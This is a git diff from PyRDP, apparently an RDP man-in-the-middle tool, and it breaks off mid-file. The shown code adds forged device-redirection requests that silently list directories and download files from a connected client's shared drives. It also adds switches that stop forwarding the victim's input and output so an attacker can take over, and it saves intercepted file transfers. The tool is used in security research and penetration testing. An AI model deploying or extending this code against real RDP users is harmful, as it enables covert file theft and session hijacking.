Recorder @@ -61,7 +61,7 @@ def handlePDU(self, pdu: ClipboardPDU, destination: ClipboardLayer): if pdu.msgFlags == ClipboardMessageFlags.CB_RESPONSE_OK: clipboardData = self.decodeClipboardData(pdu.requestedFormatData) self.log.info("Clipboard data: %(clipboardData)r", {"clipboardData": clipboardData}) - self.recorder.record(pdu, PlayerMessageType.CLIPBOARD_DATA) + self.recorder.record(pdu, PlayerPDUType.CLIPBOARD_DATA) self.forwardNextDataResponse = True diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index cf9533d84..88c3f2abe 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -4,146 +4,54 @@ # Licensed under the GPLv3 or later. # -import datetime import hashlib import json from logging import LoggerAdapter from pathlib import Path -from typing import BinaryIO, Dict +from typing import Dict, Optional, Union -import names - -from pyrdp.core import decodeUTF16LE -from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity +from pyrdp.core import FileProxy, ObservedBy, Observer, Subject +from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \ + MajorFunction, MinorFunction from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig -from pyrdp.parser import DeviceRedirectionParser -from pyrdp.pdu import DeviceCloseRequestPDU, DeviceCreateRequestPDU, \ - DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceRedirectionPDU +from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder +from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ + DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ + DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ + DeviceReadResponsePDU, DeviceRedirectionPDU -class FileMapping: - """ - Class containing information for a file intercepted by the DeviceRedirectionMITM. - """ +class DeviceRedirectionMITMObserver(Observer): + def onDeviceAnnounce(self, device: DeviceAnnounce): + pass - def __init__(self, remotePath: Path, localPath: Path, creationTime: datetime.datetime, fileHash: str): - """ - :param remotePath: the path of the file on the original machine - :param localPath: the path of the file on the intercepting machine - :param creationTime: the creation time of the local file - :param fileHash: the file hash in hex format (empty string if the file is not complete) - """ - self.remotePath = remotePath - self.localPath = localPath - self.creationTime = creationTime - self.hash: str = fileHash - - @staticmethod - def generate(remotePath: Path, outDir: Path): - localName = f"{names.get_first_name()}{names.get_last_name()}" - creationTime = datetime.datetime.now() - - index = 2 - suffix = "" - - while True: - if not (outDir / f"{localName}{suffix}").exists(): - break - else: - suffix = f"_{index}" - index += 1 + def onFileDownloadResult(self, deviceID: int, requestID: int, path: str, offset: int, data: bytes): + pass - localName += suffix + def onFileDownloadComplete(self, deviceID: int, requestID: int, path: str, error: int): + pass - return FileMapping(remotePath, outDir / localName, creationTime, "") + def onDirectoryListingResult(self, deviceID: int, requestID: int, fileName: str, isDirectory: bool): + pass + def onDirectoryListingComplete(self, deviceID: int, requestID: int): + pass -class FileMappingEncoder(json.JSONEncoder): - """ - JSON encoder for FileMapping objects. - """ - def default(self, o): - if isinstance(o, datetime.datetime): - return o.isoformat() - elif not isinstance(o, FileMapping): - return super().default(o) - - return { - "remotePath": str(o.remotePath), - "localPath": str(o.localPath), - "creationTime": o.creationTime, - "sha1": o.hash - } - - -class FileMappingDecoder(json.JSONDecoder): +@ObservedBy(DeviceRedirectionMITMObserver) +class DeviceRedirectionMITM(Subject): """ - JSON decoder for FileMapping objects. - """ - - def __init__(self): - super().__init__(object_hook=self.decodeFileMapping) - - def decodeFileMapping(self, dct: Dict): - for key in ["remotePath", "localPath", "creationTime"]: - if key not in dct: - return dct - - creationTime = datetime.datetime.strptime(dct["creationTime"], "%Y-%m-%dT%H:%M:%S.%f") - return FileMapping(Path(dct["remotePath"]), Path(dct["localPath"]), creationTime, dct["sha1"]) - - -class FileProxy: - """ - Proxy object that waits until a file is accessed before creating it. + MITM component for the device redirection channel. + It saves files transferred over RDP to a local directory. The files aren't named after their remote name to avoid + conflicts. Rather, they are given a random name, and the mapping to their remote path is given by the mapping.json + file. Each unique file (identified by its hash) is saved only once. Duplicates are removed to avoid filling the drive + with identical files. """ - def __init__(self, path: Path, mode: str, mapping: FileMapping, log: LoggerAdapter): - """ - :param path: path of the file - :param mode: file opening mode - :param mapping: FileMapping object for this file - :param log: logger for this component - """ - self.path = path - self.mode = mode - self.mapping = mapping - self.log = log - self.file: BinaryIO = None - - def createFile(self): - """ - Create the file and overwrite this object's methods with the file object's methods. - """ - - if self.file is None: - self.log.info("Saving file '%(remotePath)s' to '%(localPath)s'", {"localPath": self.path, "remotePath": self.mapping.remotePath}) - - self.file = open(str(self.path), self.mode) - self.write = self.file.write - self.seek = self.file.seek - self.close = self.file.close - - def write(self, *args, **kwargs): - self.createFile() - self.file.write(*args, **kwargs) + FORGED_COMPLETION_ID = 1000000 - def seek(self, *args, **kwargs): - self.createFile() - self.file.seek(*args, **kwargs) - - def close(self): - if self.file is not None: - self.log.debug("Closing file %(path)s", {"path": self.path}) - self.file.close() - - -class DeviceRedirectionMITM: - """ - MITM component for the device redirection channel. - """ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig): """ @@ -152,6 +60,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye :param log: logger for this component :param config: MITM configuration """ + super().__init__() self.client = client self.server = server @@ -159,15 +68,16 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.config = config self.currentIORequests: Dict[int, DeviceIORequestPDU] = {} self.openedFiles: Dict[int, FileProxy] = {} + self.openedMappings: Dict[int, FileMapping] = {} self.fileMap: Dict[str, FileMapping] = {} + self.fileMapPath = self.config.outDir / "mapping.json" + self.forgedRequests: Dict[int, DeviceRedirectionMITM.ForgedRequest] = {} - try: - with open(self.filemapFile, "r") as f: - self.fileMap: Dict[str, FileMapping] = json.loads(f.read(), cls=FileMappingDecoder) - except IOError: - pass - except json.JSONDecodeError: - self.log.error(f"Failed to decode file mapping, overwriting previous file") + self.responseHandlers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.handleCreateResponse, + MajorFunction.IRP_MJ_READ: self.handleReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.handleCloseResponse, + } self.client.createObserver( onPDUReceived=self.onClientPDUReceived, @@ -177,19 +87,22 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye onPDUReceived=self.onServerPDUReceived, ) - @property - def filemapFile(self) -> str: - """ - Get the path to the saved file mapping. - """ - return str(self.config.outDir / "mapping.json") + try: + with open(self.fileMapPath, "r") as f: + self.fileMap: Dict[str, FileMapping] = json.loads(f.read(), cls=FileMappingDecoder) + except IOError: + self.log.warning("Could not read the RDPDR file mapping at %(path)s. The file may not exist or it may have incorrect permissions. A new mapping will be created.", { + "path": str(self.fileMapPath), + }) + except json.JSONDecodeError: + self.log.error("Failed to decode file mapping, overwriting previous file") def saveMapping(self): """ Save the file mapping to a file in JSON format. """ - with open(self.filemapFile, "w") as f: + with open(self.fileMapPath, "w") as f: f.write(json.dumps(self.fileMap, cls=FileMappingEncoder, indent=4, sort_keys=True)) def onClientPDUReceived(self, pdu: DeviceRedirectionPDU): @@ -204,28 +117,19 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay :param pdu: the PDU that was received :param destination: the destination layer """ + dropPDU = False if isinstance(pdu, DeviceIORequestPDU) and destination is self.client: self.handleIORequest(pdu) elif isinstance(pdu, DeviceIOResponsePDU) and destination is self.server: + dropPDU = pdu.completionID in self.forgedRequests self.handleIOResponse(pdu) + elif isinstance(pdu, DeviceListAnnounceRequest): self.handleDeviceListAnnounceRequest(pdu) - destination.sendPDU(pdu) - - def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): - """ - Log mapped devices. - :param pdu: the device list announce request. - """ - - for device in pdu.deviceList: - self.log.info("%(deviceName)s mapped with ID %(deviceID)d: %(deviceData)s", { - "deviceName": DeviceType.getPrettyName(device.deviceType), - "deviceID": device.deviceID, - "deviceData": device.preferredDosName.rstrip(b"\x00").decode() - }) + if not dropPDU: + destination.sendPDU(pdu) def handleIORequest(self, pdu: DeviceIORequestPDU): """ @@ -241,23 +145,40 @@ def handleIOResponse(self, pdu: DeviceIOResponsePDU): :param pdu: the device IO response. """ - if pdu.completionID in self.currentIORequests: - requestPDU = self.currentIORequests[pdu.completionID] + if pdu.completionID in self.forgedRequests: + request = self.forgedRequests[pdu.completionID] + request.handleResponse(pdu) + + if request.isComplete: + self.forgedRequests.pop(pdu.completionID) + + elif pdu.completionID in self.currentIORequests: + requestPDU = self.currentIORequests.pop(pdu.completionID) + if pdu.ioStatus >> 30 == IOOperationSeverity.STATUS_SEVERITY_ERROR: self.log.warning("Received an IO Response with an error IO status: %(responsePDU)s for request %(requestPDU)s", {"responsePDU": repr(pdu), "requestPDU": repr(requestPDU)}) - if isinstance(requestPDU, DeviceCreateRequestPDU): - self.handleCreateResponse(requestPDU, pdu) - elif isinstance(requestPDU, DeviceReadRequestPDU): - self.handleReadResponse(requestPDU, pdu) - elif isinstance(requestPDU, DeviceCloseRequestPDU): - self.handleCloseResponse(requestPDU, pdu) - - self.currentIORequests.pop(pdu.completionID) + if pdu.majorFunction in self.responseHandlers: + self.responseHandlers[pdu.majorFunction](requestPDU, pdu) else: self.log.error("Received IO response to unknown request #%(completionID)d", {"completionID": pdu.completionID}) - def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceIOResponsePDU): + def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): + """ + Log mapped devices. + :param pdu: the device list announce request. + """ + + for device in pdu.deviceList: + self.log.info("%(deviceType)s mapped with ID %(deviceID)d: %(deviceName)s", { + "deviceType": DeviceType.getPrettyName(device.deviceType), + "deviceID": device.deviceID, + "deviceName": device.preferredDOSName + }) + + self.observer.onDeviceAnnounce(device) + + def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceCreateResponsePDU): """ Prepare to intercept a file: create a FileProxy object, which will only create the file when we actually write to it. When listing a directory, Windows sends a lot of create requests without actually reading the files. We @@ -266,20 +187,26 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device :param response: the device IO response to the request """ - response = DeviceRedirectionParser().parseDeviceCreateResponse(response) - - isFileRead = request.desiredAccess & (FileAccess.GENERIC_READ | FileAccess.FILE_READ_DATA) != 0 + isFileRead = request.desiredAccess & (FileAccessMask.GENERIC_READ | FileAccessMask.FILE_READ_DATA) != 0 isNotDirectory = request.createOptions & CreateOption.FILE_NON_DIRECTORY_FILE != 0 if isFileRead and isNotDirectory: - remotePath = Path(decodeUTF16LE(request.path).rstrip("\x00")) + remotePath = Path(request.path) mapping = FileMapping.generate(remotePath, self.config.fileDir) + proxy = FileProxy(mapping.localPath, "wb") + + self.openedFiles[response.fileID] = proxy + self.openedMappings[response.fileID] = mapping - localPath = mapping.localPath - self.openedFiles[response.fileID] = FileProxy(localPath, "wb", mapping, self.log) + proxy.createObserver( + onFileCreated = lambda _: self.log.info("Saving file '%(remotePath)s' to '%(localPath)s'", { + "localPath": mapping.localPath, "remotePath": mapping.remotePath + }), + onFileClosed = lambda _: self.log.debug("Closing file %(path)s", {"path": mapping.localPath}) + ) - def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIOResponsePDU): + def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceReadResponsePDU): """ Write the data that was read at the appropriate offset in the file proxy. :param request: the device read request @@ -287,15 +214,19 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIORe """ if request.fileID in self.openedFiles: - response = DeviceRedirectionParser().parseDeviceReadResponse(response) file = self.openedFiles[request.fileID] file.seek(request.offset) - file.write(response.readData) + file.write(response.payload) - self.fileMap[file.mapping.localPath.name] = file.mapping - self.saveMapping() + # Save the mapping permanently + mapping = self.openedMappings[request.fileID] + fileName = mapping.localPath.name + + if fileName not in self.fileMap: + self.fileMap[fileName] = mapping + self.saveMapping() - def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIOResponsePDU): + def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResponsePDU): """ Close the file if it was open. Compute the hash of the file, then delete it if we already have a file with the same hash. @@ -310,8 +241,10 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIORespons if file.file is None: return + currentMapping = self.openedMappings.pop(request.fileID) + # Compute the hash for the final file - with open(str(file.mapping.localPath), "rb") as f: + with open(currentMapping.localPath, "rb") as f: sha1 = hashlib.sha1() while True: @@ -322,16 +255,290 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIORespons sha1.update(buffer) - file.mapping.hash = sha1.hexdigest() + currentMapping.hash = sha1.hexdigest() # Check if a file with the same hash exists. If so, keep that one and remove the current file. for localPath, mapping in self.fileMap.items(): - if mapping is file.mapping: + if mapping is currentMapping: continue - if mapping.hash == file.mapping.hash: - file.mapping.localPath.unlink() - self.fileMap.pop(file.mapping.localPath.name) + if mapping.hash == currentMapping.hash: + currentMapping.localPath.unlink() + self.fileMap.pop(currentMapping.localPath.name) break - self.saveMapping() \ No newline at end of file + self.saveMapping() + + + def findNextRequestID(self) -> int: + """ + Find the next request ID to be returned for a forged request. Request ID's start from a different base than the + IDs for normal RDPDR requests to avoid collisions. IDs are reused after their request has completed. What we + call a "request ID" is the equivalent of the "completion ID" in RDPDR documentation. + """ + completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID + + while completionID in self.forgedRequests: + completionID += 1 + + return completionID + + + def sendForgedFileRead(self, deviceID: int, path: str) -> int: + """ + Send a forged requests for reading a file. Returns a request ID that can be used by the caller to keep track of + which file the responses belong to. Results are sent by using the DeviceRedirectionMITMObserver interface. + :param deviceID: ID of the target device. + :param path: path of the file to download. The path should use '\' instead of '/' to separate directories. + """ + + completionID = self.findNextRequestID() + request = DeviceRedirectionMITM.ForgedFileReadRequest(deviceID, completionID, self, path) + self.forgedRequests[completionID] = request + + request.send() + return completionID + + + def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: + """ + Send a forged directory listing request. Returns a request ID that can be used by the caller to keep track of which + file belongs to which directory. Results are sent by using the DeviceRedirectionMITMObserver interface. + :param deviceID: ID of the target device. + :param path: path of the directory to list. The path should use '\' instead of '/' to separate directories. It + should also contain a pattern to match. For example: to list all files in the Documents folder, the path should be + \Documents\* + """ + + completionID = self.findNextRequestID() + request = DeviceRedirectionMITM.ForgedDirectoryListingRequest(deviceID, completionID, self, path) + self.forgedRequests[completionID] = request + + request.send() + return completionID + + + + class ForgedRequest: + """ + Base class for forged requests that simulate the server asking for information. + """ + + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM'): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + """ + + self.deviceID = deviceID + self.requestID = requestID + self.mitm: 'DeviceRedirectionMITM' = mitm + self.fileID: Optional[int] = None + self.isComplete = False + self.handlers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.onCreateResponse, + MajorFunction.IRP_MJ_CLOSE: self.onCloseResponse, + } + + def send(self): + pass + + def sendCloseRequest(self): + request = DeviceCloseRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + 0 + ) + + self.sendIORequest(request) + + def sendIORequest(self, request: DeviceIORequestPDU): + self.mitm.client.sendPDU(request) + + def complete(self): + self.isComplete = True + + def handleResponse(self, response: DeviceIOResponsePDU): + if response.majorFunction in self.handlers: + self.handlers[response.majorFunction](response) + + def onCreateResponse(self, response: DeviceCreateResponsePDU): + if response.ioStatus == 0: + self.fileID = response.fileID + + def onCloseResponse(self, _: DeviceCloseResponsePDU): + self.complete() + + + class ForgedFileReadRequest(ForgedRequest): + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM', path: str): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + :param path: path of the file to download. + """ + super().__init__(deviceID, requestID, mitm) + self.path = path + self.handlers[MajorFunction.IRP_MJ_READ] = self.onReadResponse + self.offset = 0 + + def send(self): + # Open the file + request = DeviceCreateRequestPDU( + self.deviceID, + 0, + self.requestID, + 0, + FileAccessMask.FILE_READ_DATA, + 0, + FileAttributes.FILE_ATTRIBUTE_NONE, + FileShareAccess(7), # read, write, delete + FileCreateDisposition.FILE_OPEN, + FileCreateOptions.FILE_NON_DIRECTORY_FILE, + self.path + ) + + self.sendIORequest(request) + + def sendReadRequest(self): + request = DeviceReadRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + 0, + 1024 * 16, + self.offset + ) + + self.sendIORequest(request) + + def onCreateResponse(self, response: DeviceCreateResponsePDU): + super().onCreateResponse(response) + + if self.fileID is None: + self.handleFileComplete(response.ioStatus) + return + + self.sendReadRequest() + + def onReadResponse(self, response: DeviceReadResponsePDU): + if response.ioStatus != 0: + self.handleFileComplete(response.ioStatus) + return + + length = len(response.payload) + + if length == 0: + self.handleFileComplete(0) + return + + self.mitm.observer.onFileDownloadResult(self.deviceID, self.requestID, self.path, self.offset, response.payload) + + self.offset += length + self.sendReadRequest() + + def handleFileComplete(self, error: int): + self.mitm.observer.onFileDownloadComplete(self.deviceID, self.requestID, self.path, error) + + if self.fileID is None: + self.complete() + else: + self.sendCloseRequest() + + + + class ForgedDirectoryListingRequest(ForgedRequest): + def __init__(self, deviceID: int, requestID: int, mitm: 'DeviceRedirectionMITM', path: str): + """ + :param deviceID: ID of the device used. + :param requestID: this request's ID. + :param mitm: the parent MITM. + :param path: path to list. + """ + super().__init__(deviceID, requestID, mitm) + self.path = path + self.handlers[MajorFunction.IRP_MJ_DIRECTORY_CONTROL] = self.onDirectoryControlResponse + + def send(self): + if "*" not in self.path: + openPath = self.path + else: + openPath = self.path[: self.path.index("*")] + + if openPath.endswith("\\"): + openPath = self.path[: -1] + + # We need to start by opening the directory. + request = DeviceCreateRequestPDU( + self.deviceID, + 0, + self.requestID, + 0, + DirectoryAccessMask.FILE_LIST_DIRECTORY, + 0, + FileAttributes.FILE_ATTRIBUTE_DIRECTORY, + FileShareAccess(7), # read, write, delete + FileCreateDisposition.FILE_OPEN, + FileCreateOptions.FILE_DIRECTORY_FILE, + openPath + ) + + self.sendIORequest(request) + + def onCreateResponse(self, response: DeviceCreateResponsePDU): + super().onCreateResponse(response) + + if self.fileID is None: + self.complete() + return + + # Now that the file is open, start listing the directory. + request = DeviceQueryDirectoryRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + FileSystemInformationClass.FileBothDirectoryInformation, + 1, + self.path + ) + + self.sendIORequest(request) + + def onDirectoryControlResponse(self, response: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU]): + if response.minorFunction != MinorFunction.IRP_MN_QUERY_DIRECTORY: + return + + if response.ioStatus == 0: + self.handleDirectoryListingResponse(response) + else: + self.handleDirectoryListingComplete(response) + + def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponsePDU): + for info in response.fileInformation: + try: + isDirectory = info.fileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY != 0 + except AttributeError: + isDirectory = False + + self.mitm.observer.onDirectoryListingResult(self.deviceID, self.requestID, info.fileName, isDirectory) + + # Send a follow-up request to get the next file (or a nonzero ioStatus, which will complete the listing). + pdu = DeviceQueryDirectoryRequestPDU( + self.deviceID, + self.fileID, + self.requestID, + response.informationClass, + 0, + "" + ) + + self.sendIORequest(pdu) + + def handleDirectoryListingComplete(self, _: DeviceQueryDirectoryResponsePDU): + self.mitm.observer.onDirectoryListingComplete(self.deviceID, self.requestID) + + # Once we're done, we can close the file. + self.sendCloseRequest() \ No newline at end of file diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 311c6a9b0..0cc25917b 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -5,6 +5,7 @@ # from pyrdp.layer import FastPathLayer +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import FastPathPDU @@ -13,14 +14,16 @@ class FastPathMITM: MITM component for the fast-path layer. """ - def __init__(self, client: FastPathLayer, server: FastPathLayer): + def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMState): """ :param client: fast-path layer for the client side :param server: fast-path layer for the server side + :param state: the MITM state. """ self.client = client self.server = server + self.state = state self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -31,7 +34,9 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer): ) def onClientPDUReceived(self, pdu: FastPathPDU): - self.server.sendPDU(pdu) + if self.state.forwardInput: + self.server.sendPDU(pdu) def onServerPDUReceived(self, pdu: FastPathPDU): - self.client.sendPDU(pdu) \ No newline at end of file + if self.state.forwardOutput: + self.client.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/FileMapping.py b/pyrdp/mitm/FileMapping.py new file mode 100644 index 000000000..a265d39e3 --- /dev/null +++ b/pyrdp/mitm/FileMapping.py @@ -0,0 +1,86 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import datetime +import json +from pathlib import Path +from typing import Dict + +import names + + +class FileMapping: + """ + Class that maps a remote path to a local path. Used by the device redirection MITM component when it saves files + transferred over RDP. + """ + + def __init__(self, remotePath: Path, localPath: Path, creationTime: datetime.datetime, fileHash: str): + """ + :param remotePath: the path of the file on the original machine + :param localPath: the path of the file on the intercepting machine + :param creationTime: the creation time of the local file + :param fileHash: the file hash in hex format (empty string if the file is not complete) + """ + self.remotePath = remotePath + self.localPath = localPath + self.creationTime = creationTime + self.hash: str = fileHash + + @staticmethod + def generate(remotePath: Path, outDir: Path): + localName = f"{names.get_first_name()}{names.get_last_name()}" + creationTime = datetime.datetime.now() + + index = 2 + suffix = "" + + while True: + if not (outDir / f"{localName}{suffix}").exists(): + break + else: + suffix = f"_{index}" + index += 1 + + localName += suffix + + return FileMapping(remotePath, outDir / localName, creationTime, "") + + +class FileMappingEncoder(json.JSONEncoder): + """ + JSON encoder for FileMapping objects. + """ + + def default(self, o): + if isinstance(o, datetime.datetime): + return o.isoformat() + elif not isinstance(o, FileMapping): + return super().default(o) + + return { + "remotePath": str(o.remotePath), + "localPath": str(o.localPath), + "creationTime": o.creationTime, + "sha1": o.hash + } + + +class FileMappingDecoder(json.JSONDecoder): + """ + JSON decoder for FileMapping objects. + """ + + def __init__(self): + super().__init__(object_hook=self.decodeFileMapping) + + def decodeFileMapping(self, dct: Dict): + for key in ["remotePath", "localPath", "creationTime"]: + if key not in dct: + return dct + + creationTime = datetime.datetime.strptime(dct["creationTime"], "%Y-%m-%dT%H:%M:%S.%f") + return FileMapping(Path(dct["remotePath"]), Path(dct["localPath"]), creationTime, dct["sha1"]) \ No newline at end of file diff --git a/pyrdp/mitm/MCSMITM.py b/pyrdp/mitm/MCSMITM.py index 7566eb8ab..835b48bca 100644 --- a/pyrdp/mitm/MCSMITM.py +++ b/pyrdp/mitm/MCSMITM.py @@ -7,7 +7,7 @@ from typing import Callable, Dict from pyrdp.enum import ClientCapabilityFlag, EncryptionLevel, EncryptionMethod, HighColorDepth, MCSChannelName, \ - PlayerMessageType, SupportedColorDepth + PlayerPDUType, SupportedColorDepth from pyrdp.layer import MCSLayer from pyrdp.mcs import MCSClientChannel, MCSServerChannel from pyrdp.mitm.state import RDPMITMState @@ -98,7 +98,7 @@ def onConnectInitial(self, pdu: MCSConnectInitialPDU): rdpClientDataPDU.coreData.earlyCapabilityFlags &= ~ClientCapabilityFlag.RNS_UD_CS_WANT_32BPP_SESSION - self.recorder.record(rdpClientDataPDU, PlayerMessageType.CLIENT_DATA) + self.recorder.record(rdpClientDataPDU, PlayerPDUType.CLIENT_DATA) if rdpClientDataPDU.networkData: self.state.channelDefinitions = rdpClientDataPDU.networkData.channelDefinitions diff --git a/pyrdp/mitm/MITMRecorder.py b/pyrdp/mitm/MITMRecorder.py new file mode 100644 index 000000000..42d1cc77b --- /dev/null +++ b/pyrdp/mitm/MITMRecorder.py @@ -0,0 +1,34 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import List, Optional + +from pyrdp.enum import PlayerPDUType +from pyrdp.layer import LayerChainItem +from pyrdp.mitm.state import RDPMITMState +from pyrdp.pdu import PDU, InputPDU +from pyrdp.recording import Recorder + + +class MITMRecorder(Recorder): + """ + Recorder subclass that avoids recording input events when input forwarding is disabled. + """ + + def __init__(self, transports: List[LayerChainItem], state: RDPMITMState): + super().__init__(transports) + self.state = state + + def record(self, pdu: Optional[PDU], messageType: PlayerPDUType, forceRecording: bool = False): + """ + Record a PDU. The forceRecording param is mostly useful for recording forged PDUs (e.g: input coming from the attacker). + :param pdu: the PDU to record. + :param messageType: the message type. + :param forceRecording: when set to True, records the PDU even if forwarding is disabled. Defaults to False. + """ + + if self.state.forwardInput or forceRecording or (messageType != PlayerPDUType.FAST_PATH_INPUT and not isinstance(pdu, InputPDU)): + super().record(pdu, messageType) \ No newline at end of file diff --git a/pyrdp/mitm/PlayerLayerSet.py b/pyrdp/mitm/PlayerLayerSet.py new file mode 100644 index 000000000..a7587b638 --- /dev/null +++ b/pyrdp/mitm/PlayerLayerSet.py @@ -0,0 +1,21 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from pyrdp.layer import AsyncIOTCPLayer, LayerChainItem, PlayerLayer, TwistedTCPLayer + + +class TwistedPlayerLayerSet: + def __init__(self): + self.tcp = TwistedTCPLayer() + self.player = PlayerLayer() + LayerChainItem.chain(self.tcp, self.player) + + +class AsyncIOPlayerLayerSet: + def __init__(self): + self.tcp = AsyncIOTCPLayer() + self.player = PlayerLayer() + LayerChainItem.chain(self.tcp, self.player) \ No newline at end of file diff --git a/pyrdp/mitm/SecurityMITM.py b/pyrdp/mitm/SecurityMITM.py index f26e4fcf0..1c8e3abea 100644 --- a/pyrdp/mitm/SecurityMITM.py +++ b/pyrdp/mitm/SecurityMITM.py @@ -7,7 +7,7 @@ from logging import LoggerAdapter from pyrdp.core import decodeUTF16LE -from pyrdp.enum import ClientInfoFlags, PlayerMessageType +from pyrdp.enum import ClientInfoFlags, PlayerPDUType from pyrdp.layer import SecurityLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.state import RDPMITMState @@ -75,7 +75,7 @@ def onClientInfo(self, data: bytes): "clientAddress": clientAddress }) - self.recorder.record(pdu, PlayerMessageType.CLIENT_INFO) + self.recorder.record(pdu, PlayerPDUType.CLIENT_INFO) # If set, replace the provided username and password to connect the user regardless of # the credentials they entered. diff --git a/pyrdp/mitm/SlowPathMITM.py b/pyrdp/mitm/SlowPathMITM.py index 0ca532d67..50c9b33d4 100644 --- a/pyrdp/mitm/SlowPathMITM.py +++ b/pyrdp/mitm/SlowPathMITM.py @@ -6,6 +6,7 @@ from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag from pyrdp.layer import SlowPathLayer, SlowPathObserver +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU @@ -14,13 +15,14 @@ class SlowPathMITM: MITM component for the slow-path layer. """ - def __init__(self, client: SlowPathLayer, server: SlowPathLayer): + def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMState): """ :param client: slow-path layer for the client side :param server: slow-path layer for the server side """ self.client = client self.server = server + self.state = state self.clientObserver = self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -34,11 +36,15 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer): def onClientPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.clientObserver, pdu) - self.server.sendPDU(pdu) + + if self.state.forwardInput: + self.server.sendPDU(pdu) def onServerPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.serverObserver, pdu) - self.client.sendPDU(pdu) + + if self.state.forwardOutput: + self.client.sendPDU(pdu) def onConfirmActive(self, pdu: ConfirmActivePDU): """ diff --git a/pyrdp/mitm/TCPMITM.py b/pyrdp/mitm/TCPMITM.py index d19db531b..7feaac52b 100644 --- a/pyrdp/mitm/TCPMITM.py +++ b/pyrdp/mitm/TCPMITM.py @@ -7,8 +7,9 @@ from logging import LoggerAdapter from typing import Coroutine -from pyrdp.enum import PlayerMessageType from pyrdp.layer import TwistedTCPLayer +from pyrdp.mitm.state import RDPMITMState +from pyrdp.pdu.player import PlayerConnectionClosePDU from pyrdp.recording import Recorder @@ -17,7 +18,7 @@ class TCPMITM: MITM component for the TCP layer. """ - def __init__(self, client: TwistedTCPLayer, server: TwistedTCPLayer, attacker: TwistedTCPLayer, log: LoggerAdapter, recorder: Recorder, serverConnector: Coroutine): + def __init__(self, client: TwistedTCPLayer, server: TwistedTCPLayer, attacker: TwistedTCPLayer, log: LoggerAdapter, state: RDPMITMState, recorder: Recorder, serverConnector: Coroutine): """ :param client: TCP layer for the client side :param server: TCP layer for the server side @@ -31,6 +32,7 @@ def __init__(self, client: 